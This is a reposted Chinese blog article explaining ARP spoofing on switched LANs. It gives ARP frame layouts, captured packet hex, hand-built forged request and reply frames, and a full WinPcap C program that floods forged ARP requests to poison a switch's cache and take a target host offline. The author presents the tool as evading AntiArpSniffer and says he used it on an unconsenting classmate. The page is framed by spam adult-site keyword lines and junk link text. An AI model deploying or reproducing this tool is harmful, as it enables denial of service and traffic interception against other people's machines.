青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

流量統計:
Rixu Blog (日需博客)
日需博客,每日必需來踩踩哦..
posts - 108,comments - 54,trackbacks - 0
前段時間我們學校的的網絡總是出現掉線的問題,后來說是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

也想搞清楚這個ARP欺騙到底是個什么東西。于是在網上查了點資料,看了點文檔。也算是DIY了一個出來,而

且可以不被ANTIARPSNIFFER發現的讓對方主機在網絡中死掉。于是把這個小東西貼出來讓大家一起把玩一下。
    在下菜鳥一只,還請高手指教
參考資料:《TCP/IP詳解II:實現》,《WINPCAP 3.0 DOC》,《交換網絡中的嗅探和ARP欺騙》(一位叫RefDom

的大哥很久前寫的帖子)

    一般在局域網中的各主機一般都是連接到同一個交換機(或是HUB),再由交換機連接路由器,路由器再與

相對于該局域網的外部網絡相連。在我們的主機和交換機的內存中,都保留著一張ARP的緩存表(你可以在cmd

下用arp -a來查看),它記錄著IP地址和MAC地址的對應關系。當外部網絡的一個包傳進來,交換機通過這個包

的IP地址,在他的ARP緩存表中查找其對應的MAC地址(因為交換機是工作在鏈路層的,所以他只會根據MAC地址

來判斷是哪個主機),當找到時,他就把這個包傳給擁有這個MAC地址的主機。當主機向外部網絡通信的時候,

主機查詢自己的ARP緩存表里網關(在這里就是交換機)(這個網關是用IP地址確定的)的MAC地址,然后將包

傳給交換機,交換機一看是它的MAC地址,就把這個包往上傳給路由器。
    我們可以把IP比做姓名,把MAC地址比做聯系方式
    當主機連接上網絡時,他會發送一個廣播(ARP REQUEST)說:大家好,我是IP xxx,這是我的MAC地址aaa,

大家以后用他聯系,叫IP YYY的網關大哥的MAC地址是多少啊 ,小弟以后找還要拜托大哥了,記個聯系方式先~
    然后網關IP YYY告訴IP XXX說(ARP REPLY):我就是網關IP XXX,我已經記下了你IP和你的MAC地址,我的

MAC地址是ccc,以后有事聯系,別客氣~

    現在,假如出現了一些不明原因的錯誤,主機A中的arp緩存表中網關IP YYY對應的MAC地址不是網關的,而

是另一臺主機B的(BBB),那么當主機A發送了一個包時,他查詢自己的ARP緩存表,把主機B的MAC地址填在了

網關的地方,然后把包發了出去,交換機一看這個MAC地址,心想這不是給我的小弟B的嗎,于是把這個包發給

了內網中的B,而主機A卻不知道這個包已經迷失在了網絡中。
   再假設另一個錯誤,現在主機中的arp緩存表沒錯,而交換機的緩存錯了,主機A的IP對應的MAC地址上填的是

主機B的!,那么當外部網絡的一個發給主機A的包到達交換機的時候,交換機查自己的ARP緩存表,一看這個IP

(A的)對應了自己內網中一個主機的MAC地址 (B的),于是就把這個包傳給了擁有這個MAC地址的B,而不是A


    另外還有一點很重要的是,ARP協議中,無論主機A有沒有REQUEST或是已經收到了REPLY,當再有REPLY來的

時候,它都會記下這個REPLY中的信息,并更新自己的ARP緩存。同樣交換機,也只要是有主機發送ARP REQUEST

,他就會記下這個信息,并更新自己的ARP緩存,而不會管這個請求是對是錯

    原諒我說了這么多晦澀的話,但這決不是廢話,因為所謂的arp欺騙就是將上面所說的兩個錯誤人為的造成


   第一種欺騙方法:欺騙主機A說,我是網關IP YYY,我的MAC地址改成BBB了,于是主機A就出現了我們剛說的

第一種情況的錯誤。
   第二種欺騙方法:欺騙交換機說,我是主機A IP XXX,我的MAC地址是BBB,于是交換機出現了我們說的第二

種情況的錯誤。

   既然要騙人家,就要讓別人相信你說的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

這樣別人才會相信你說的假話。
   先來看下ARP包是個什么樣的(TCP/IP詳解II圖21-7有詳細說明,大家可以查查看)
typedef struct ethhdr                //以太網頭部,長度14
{
   unsigned char dst[6];        //目的的MAC地址
   unsigned char src[6];        //源的MAC地址
   unsigned short type;         //幀類型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr            //以太網arp字段長度28
{
   unsigned short arp_hrd;      //硬件類型
   unsigned short arp_pro;      //協議類型
   unsigned char   arp_hln;      //硬件地址長度(6)
   unsigned char   arp_pln;      //協議地址長度(4)
         unsigned short arp_op;       //回應還是請求

   unsigned char arp_sha[6];    //發送者MAC地址
   unsigned long arp_spa;       //發送者IP
   unsigned char arp_tha[6];    //接收者MAC地址
   unsigned long arp_tpa;       //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                   //整個ARP包的結構
{
     ETHHDR ethhdr;
     ETH_ARPHDR eth_arp;
}ARP,*PARP;  


   現在我們再來看下arp request 和arp reply到底是個什么樣子。
   我打開了winpcap devlopment pack中的一個例子程序TestApp,他帶有很簡單的嗅探功能,然后我用
arp -d 10.10.63.254(我的網關IP地址),清除了我的ARP緩存表中網關的記錄,過一下,我再用arp -a查看自

己的緩存表,網關的IP,MAC又寫上來了,這說明一次REQUEST和REPLY已經完成。于是,我在TestApp的輸出中

找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9
我的網關的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00

request的:長度42
     FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 

25 00 00 00 00 00 00 0A 0A 3F FE
reply的:   長度60
     00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 

FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是用0填充)

好了根據這兩個包,我們就能構造惡意的REQUEST和REPLY,假如我們要讓一臺內網中的主機C消失,假設他的IP

是10.10.63.123,MAC地址是11 22 33 44 55 66那么我們可以這樣來構造包(我們使用一個偽造的MAC地址,比

如是AA BB CC DD EE FF
惡意的request:長度42
     FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 

7B 00 00 00 00 00 00 0A 0A 3F FE
當交換機接受了這個請求并更新了自己的ARP緩存后,任何發給10.10.63.123的包都會轉發到MAC地址是
AA BB CC DD EE FF的主機(假如這個主機才內網中存在的話)
惡意的reply :長度60
     11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....(后面用0填充)
當主機接受到了這個包,并更新了自己的ARP緩存后,他所發的任何包都會轉發給擁有這個MAC地址的主機(同

上,這個主機必須存在)。
    現在假如交換機和主機都被欺騙了,于是就出現了這樣的一個情況:主機A和其他主機或是外部網絡的一切

通信就都會傳給這個偽造MAC的主機,而如果這個主機再將這些包轉發給原來的接收方的話,他就成了THE 

MIDDLE MAN,而這種方式也正是交換機網絡中的嗅探原理了。有興趣的話,大家也可以寫個試試~

    現在回到我們的話題上來,當我們自己的網絡中出現了類似的欺騙的時候,我們應該怎么防范?很多人估計

都會想到用專門的軟件,比如ANTIARPSNIFFER3.0,這個軟件實際是將網關的IP地址和MAC地址的對應關系綁定

,當接受到一個ARP REPLY時他會查看這個包中發送方的IP和MAC地址,如果IP是網關的,而MAC地址不是,那他

就認為這是個ARP欺騙,于是記錄這個假的MAC地址(當然我們可以偽造,如果你想架禍人的話,也可以填別人

的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會在某天被一群人抓出去暴打一頓...,為什

么我們生活的世界這么暴力,不能和平解決呢?額...我請大哥們吃頓飯怎么樣??)
    ANTIARPSNIFFER可以有效的阻止發送給主機的欺騙REPLY,但他無法阻止發送給交換機的欺騙REQUEST,因此

也就無法捕獲惡意攻擊者的MAC地址,所以我個人認為站在攻擊的角度,第二種欺騙方式要比第一種來的更加有

效和不易被發現,畢竟誰的會關注自身的安全,卻往往忽視社會整體的安全隱患....要想解決這個問題,就必

須把交換機的ARP緩存設為靜態(即將IP和MAC的對應關系鎖死)(使用ARP -S)來解決。然而,對于主機使用

DHCP動態獲取IP的網絡(比如我們學校的網絡),由于IP與MAC地址無法在長時間內保持一致,因此交換機的

ARP緩存表必須是可更新的(即動態),于是對于這種網絡,發送欺騙REQUEST給交換機的攻擊方式將是無法解

決的....
    也正因為此,我所編寫的一個測試程序是基于第二種攻擊方式(即發送加的ARP REQUEST請求給交換機)。

由于是測試程序,我把一切可能出錯的部分都做了最簡化以方便調試,程序相當簡陋,不過仍然很有效。
另外要說明的是,我安裝了WINPCAP 3.0(一個OPEN SOURCE的網卡驅動項目)和他的開發包。并參考了WINPCAP
DOC中的程序和RefDom大哥在帖子里的程序,當然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實現》第21



/////////////////////////////////////////////////////////////////////////////
//     arp attacker
//     author:enolaZ
//     e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define EPT_ARP 0x0806                 //定義了一些在構造包的時候要用到的常量
#define EPT_IP 0x0800
#define ARP_HARDWARE 0X0001
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001

#pragma pack(push,1)                 //在定義結構的時候一頂要用到pack(push,1)和下面的pack(pop)
                                     //否則你構造的結構的長度會有問題

typedef struct ethhdr                //以太網頭部,長度14
{
   unsigned char dst[6];        //目的的MAC地址
   unsigned char src[6];        //源的MAC地址
   unsigned short type;         //幀類型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr            //以太網arp字段長度28
{
   unsigned short arp_hrd;      //硬件類型
   unsigned short arp_pro;      //協議類型
   unsigned char   arp_hln;      //硬件地址長度(6)
   unsigned char   arp_pln;      //協議地址長度(4)
         unsigned short arp_op;       //回應還是請求

   unsigned char arp_sha[6];    //發送者MAC地址
   unsigned long arp_spa;       //發送者IP
   unsigned char arp_tha[6];    //接收者MAC地址
   unsigned long arp_tpa;       //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                   //整個ARP包的結構
{
   ETHHDR ethhdr;
     ETH_ARPHDR eth_arp;
}ARP,*PARP;

#pragma pack(pop)

#define Max_Num_Adapter 10

char         AdapterList[Max_Num_Adapter][1024];   //定義的網絡適配器列表

int main (int argc,char* argv[])
{
   LPADAPTER   lpAdapter = 0;               
   LPPACKET    lpPacket;
   int         i;
   DWORD       dwErrorCode;
   WCHAR      AdapterName[8192]; 
   WCHAR      *temp,*temp1;                  //將AdapterNames的內容轉存到AdapterList時用
   int      AdapterNum=0;
   ULONG      AdapterLength;
   ARP arpPacket;                            //定義的包結構實例
   char szPktBuf[256000];                    //用于存放包的內容


         printf("%d\n",sizeof(ETHHDR));            //這3行是我在測試結構長度時用的,如果沒有使用之
   printf("%d\n",sizeof(ETH_ARPHDR));        //前說的pack(push,1),pack(pop)長度就成了14,32
   printf("%d\n",sizeof(ARP));               //48,與我們的arp包的格式不符
   i=0;  
   AdapterLength = sizeof(AdapterName);
   if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//獲取所有網絡適配器
   {
     printf("Unable to retrieve the list of the adapters!\n");
     return -1;
   }
   temp=AdapterName;
   temp1=AdapterName;
   while ((*temp!='\0')||(*(temp-1)!='\0'))           //將AdapterNames的內容轉存到AdapterList
   {
     if (*temp=='\0') 
     {
       memcpy(AdapterList[i],temp1,(temp-temp1)*2);
       temp1=temp+1;
       i++;
     }
     temp++;
   }
    
   AdapterNum=i;
   for (i=0;i<AdapterNum;i++)
     wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //輸出獲得的所有網絡適配器
   printf("\n");  
  
   lpAdapter =    PacketOpenAdapter(AdapterList[0]);    //得到對應網絡適配器的_Adapter結構,我  

                                                            //就一個當然是0了  
   if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
   {
     dwErrorCode=GetLastError();
     printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
     return -1;
   }  

         lpPacket=PacketAllocatePacket();                        //得到一個包的_Packet結構
   if(lpPacket==NULL)
   {
     printf("alloc lppacket failed");
     return -1;
   }

         ZeroMemory(szPktBuf,sizeof(szPktBuf));                 //將包的緩存區清空

   arpPacket.ethhdr.dst[0]=0xff;                      //開始填充包結構arpPacket
         arpPacket.ethhdr.dst[1]=0xff;
   arpPacket.ethhdr.dst[2]=0xff;
   arpPacket.ethhdr.dst[3]=0xff;
   arpPacket.ethhdr.dst[4]=0xff;
   arpPacket.ethhdr.dst[5]=0xff;

   arpPacket.ethhdr.src[0]=0x00;                      //一個偽造的MAC地址
         arpPacket.ethhdr.src[1]=0x20;
   arpPacket.ethhdr.src[2]=0xce;
   arpPacket.ethhdr.src[3]=0xa8;
   arpPacket.ethhdr.src[4]=0x54;
   arpPacket.ethhdr.src[5]=0x33;

   arpPacket.ethhdr.type=htons(EPT_ARP);
   arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
   arpPacket.eth_arp.arp_pro=htons(EPT_IP);
   arpPacket.eth_arp.arp_hln=6;
   arpPacket.eth_arp.arp_pln=4;
   arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

   arpPacket.eth_arp.arp_sha[0]=0x00;                     //仍然是假的MAC地址
   arpPacket.eth_arp.arp_sha[1]=0x20;
   arpPacket.eth_arp.arp_sha[2]=0xce;
   arpPacket.eth_arp.arp_sha[3]=0xa8;
   arpPacket.eth_arp.arp_sha[4]=0x54;
   arpPacket.eth_arp.arp_sha[5]=0x33;
   arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");    //冒充對象的IP

         arpPacket.eth_arp.arp_tha[0]=0x00;
   arpPacket.eth_arp.arp_tha[1]=0x00;
   arpPacket.eth_arp.arp_tha[2]=0x00;
   arpPacket.eth_arp.arp_tha[3]=0x00;
   arpPacket.eth_arp.arp_tha[4]=0x00;
   arpPacket.eth_arp.arp_tha[5]=0x00;
   arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");    //網關IP
         printf("%d\n",sizeof(arpPacket));
   memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
   PacketInitPacket(lpPacket,szPktBuf,60);                
         while(getchar()!='q')                                      //當輸入為q時結束
   {
         if(PacketSendPacket(lpAdapter,lpPacket,true)==false)   //不斷發送偽造信息,將目標的正確
                                                               //ARP REQUEST淹沒
     {
         printf("error in sending packet");
         return -1;
     }
   }
   printf("send ok");
   PacketFreePacket(lpPacket);         //一點掃尾的工作
   PacketCloseAdapter(lpAdapter);

     return 1;
}

好了,這個異常簡陋的程序結束了,我對我們內部網的某同學測試過,當我程序啟動不久,去他寢室看,他已

經掉線了,而他的AntiArpSniffer卻沒有報警,呵呵這說明攻擊很成功~。
當然要說明的一點是,這個東西完全是研究學習用,沒有惡意,也希望大家不要隨便對別人做壞事,恩恩,為

了學習研究的目的當然可以做一下實驗,但不要太有破壞性哦~
Logo
作者:Gezidan
出處:http://www.rixu.net    
本文版權歸作者和博客園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接,否則保留追究法律責任的權利。
posted on 2011-08-19 11:55 日需博客 閱讀(4959) 評論(0)  編輯 收藏 引用 所屬分類: C C++技術文章轉載
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲精品一区二区三| 亚洲在线视频免费观看| 欧美日韩综合一区| 久久大逼视频| 亚洲图中文字幕| 亚洲免费在线观看视频| 欧美亚洲视频在线观看| 老色鬼精品视频在线观看播放| 欧美1区3d| 亚洲美女视频在线免费观看| 亚洲在线一区| 久久久久久一区| 欧美全黄视频| 国产深夜精品福利| 在线日韩日本国产亚洲| 一本久久a久久精品亚洲| 午夜精品成人在线视频| 免费久久精品视频| 在线一区欧美| 老司机午夜免费精品视频| 欧美视频第二页| 亚洲国产精品v| 久久精品亚洲一区二区三区浴池| 亚洲人在线视频| 久久成年人视频| 欧美色视频在线| 亚洲激情视频在线播放| 久久久久久久综合狠狠综合| 亚洲精品乱码久久久久久| 亚洲在线黄色| 欧美日韩亚洲一区二区| 黄色成人av网站| 欧美一级在线视频| 亚洲精品乱码久久久久久按摩观| 久久激情五月激情| 国产精品一区二区久久| 一个色综合av| 亚洲国产日日夜夜| 玖玖玖免费嫩草在线影院一区| 国产免费观看久久黄| 亚洲精品五月天| 欧美成人日本| 久久国产日韩| 国语自产精品视频在线看一大j8| 午夜日韩在线观看| 亚洲一区二区动漫| 国产精品久久久久久超碰| 亚洲国产日韩欧美一区二区三区| 欧美日韩免费一区二区三区视频| 狠狠色综合一区二区| 一区二区免费在线播放| 欧美成人视屏| 久久综合影视| 亚洲国产成人精品久久久国产成人一区| 久久久精品国产免费观看同学| 亚洲亚洲精品在线观看| 国产精品成人在线观看| 午夜国产欧美理论在线播放| 亚洲一区二区三区精品在线| 国产精品毛片| 欧美一区二区在线看| 亚洲一区免费网站| 国产美女高潮久久白浆| 欧美一区二区三区四区在线观看 | 欧美黄色片免费观看| 亚洲黄色有码视频| 亚洲精品国精品久久99热一| 欧美日韩精品一区视频 | 麻豆av一区二区三区久久| 久久精品夜色噜噜亚洲a∨ | 久久三级视频| 亚洲激情成人在线| 91久久久国产精品| 国产精品成人一区二区三区吃奶| 新狼窝色av性久久久久久| 午夜精品久久| 亚洲成色777777在线观看影院| 欧美成人午夜剧场免费观看| 欧美黄色片免费观看| 亚洲欧美精品| 久久男人av资源网站| 亚洲乱码国产乱码精品精可以看 | 亚洲精品久久久一区二区三区| 亚洲第一在线综合网站| 欧美日韩p片| 欧美在线免费观看| 毛片av中文字幕一区二区| 一区二区三区免费网站| 欧美在线三区| av成人免费观看| 新狼窝色av性久久久久久| 亚洲欧洲一区二区三区在线观看 | 嫩草影视亚洲| 欧美日韩网站| 销魂美女一区二区三区视频在线| 久久精品国产77777蜜臀| 亚洲一区二区三区四区五区午夜| 99精品国产福利在线观看免费| 亚洲国产一区二区在线| 欧美日韩一区二区三区四区五区| 久久爱www| 欧美激情综合网| 久久午夜视频| 国产精品va在线播放我和闺蜜| 久久久久国色av免费看影院| 欧美日本在线看| 欧美**字幕| 国产日韩欧美中文在线播放| 日韩一级精品| 亚洲欧洲中文日韩久久av乱码| 欧美亚洲视频一区二区| 亚洲午夜在线| 欧美精选在线| 亚洲第一主播视频| 精品1区2区| 欧美在线观看日本一区| 午夜久久影院| 欧美午夜视频在线观看| 亚洲第一中文字幕在线观看| 狠狠爱www人成狠狠爱综合网| 亚洲视频视频在线| 在线视频日本亚洲性| 欧美高清你懂得| 亚洲国产欧美久久| 亚洲国产激情| 欧美aaa级| 欧美激情在线有限公司| 在线免费观看一区二区三区| 久久九九免费| 蜜臀av一级做a爰片久久| 一区在线电影| 久久亚洲精品一区二区| 欧美+亚洲+精品+三区| 亚洲国产福利在线| 免费中文日韩| 亚洲精品免费一区二区三区| 9久re热视频在线精品| 欧美日韩成人精品| 一区二区av在线| 亚洲欧美在线x视频| 国产精品一区免费视频| 欧美影院一区| 嫩模写真一区二区三区三州| 91久久黄色| 欧美激情一区二区三区全黄| 夜夜嗨av一区二区三区免费区| 亚洲一区免费| 国产一区视频在线观看免费| 久久久午夜电影| 欧美激情视频在线免费观看 欧美视频免费一 | 亚洲精品一区二区三| 中文国产成人精品| 国产精品99免视看9| 亚洲欧美日韩国产成人精品影院| 久久se精品一区二区| 国产综合久久久久久鬼色| 久久久久久香蕉网| 亚洲精品一区二区三区四区高清 | 久久综合一区二区| 欧美激情黄色片| 一本色道久久综合狠狠躁篇的优点| 欧美日韩精品一区二区天天拍小说| 在线视频你懂得一区| 久久精品五月婷婷| 亚洲久久视频| 国产九九视频一区二区三区| 久久九九热re6这里有精品| 亚洲精品国产精品乱码不99| 亚洲欧美日韩一区二区在线 | 欧美精品日韩三级| 亚洲影院色无极综合| 免费在线看一区| 亚洲欧美视频| 亚洲免费电影在线| 国产一区二区三区久久精品| 欧美福利一区| 久久精品国产第一区二区三区最新章节| 亚洲国产一区二区三区在线播 | 亚洲国产日韩欧美在线动漫| 欧美色另类天堂2015| 久久夜色撩人精品| 亚洲图片欧美午夜| 亚洲欧洲日产国产网站| 久久国产精品久久久久久| 亚洲日本黄色| 黑人巨大精品欧美一区二区小视频| 欧美视频中文字幕在线| 欧美激情精品久久久久久蜜臀| 欧美一级二级三级蜜桃| 一本色道久久综合亚洲精品小说| 欧美www视频在线观看| 午夜天堂精品久久久久| 夜夜嗨av一区二区三区四季av | 亚洲精品一二三| 一区二区三区在线免费视频| 国产伦精品一区二区三区视频黑人| 欧美精品三级日韩久久| 免费久久精品视频| 六十路精品视频| 免费久久99精品国产自在现线|